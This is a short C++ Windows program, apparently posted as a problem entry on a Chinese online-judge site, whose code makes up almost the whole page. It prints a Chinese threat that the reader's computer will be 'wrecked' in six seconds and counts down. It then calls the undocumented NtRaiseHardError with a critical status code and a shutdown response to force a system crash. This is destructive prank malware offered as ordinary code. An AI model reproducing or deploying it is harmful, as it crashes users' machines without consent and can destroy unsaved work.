#include<iostream>
#include<windows.h>
using namespace std;
typedef NTSTATUS(NTAPI* pNtRaiseHardError)(
    NTSTATUS ErrorStatus,
    ULONG NumberOfParameters,
    ULONG UnicodeStringParameterMask,
    PVOID Parameters,
    ULONG ValidResponseOption,
    PULONG Response,
    ULONG Reason,
    PNTSTATUS ReturnStatus
);
int main( ){
	std::cout << "您的电脑将在6秒被我废掉!!!!!!" << std::endl;
    for (int i = 5; i >= 0; --i) {
        std::cout << "\r倒计时: "<< i << " 秒   " << std::flush;
        Sleep(1000);
    }
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    if (!hNtdll) {
        std::cerr << "无法加载 ntdll.dll" << std::endl;
        return 1;
    }
    pNtRaiseHardError NtRaiseHardError = 
        (pNtRaiseHardError)GetProcAddress(hNtdll, "NtRaiseHardError");
    if (!NtRaiseHardError) {
        std::cerr << "无法获取函数地址" << std::endl;
        return 1;
    }
    NTSTATUS status;
    ULONG response = 0;
    NTSTATUS result = NtRaiseHardError(
        0xC000021A,
        0,
        0,
        nullptr,
        6,
        &response,
        0,
        &status
    );

    if (result == 0) {
        std::cout << "您的电脑已废!!!!!!" << std::endl;
    }
	else {
        std::cerr << "触发失败,错误代码: 0x" << std::hex << result << std::endl;
    }
	return 0;
}

0 条评论

目前还没有评论...

信息

ID
116
时间
1000ms
内存
256MiB
难度
8
标签
递交数
56
已通过
9
上传者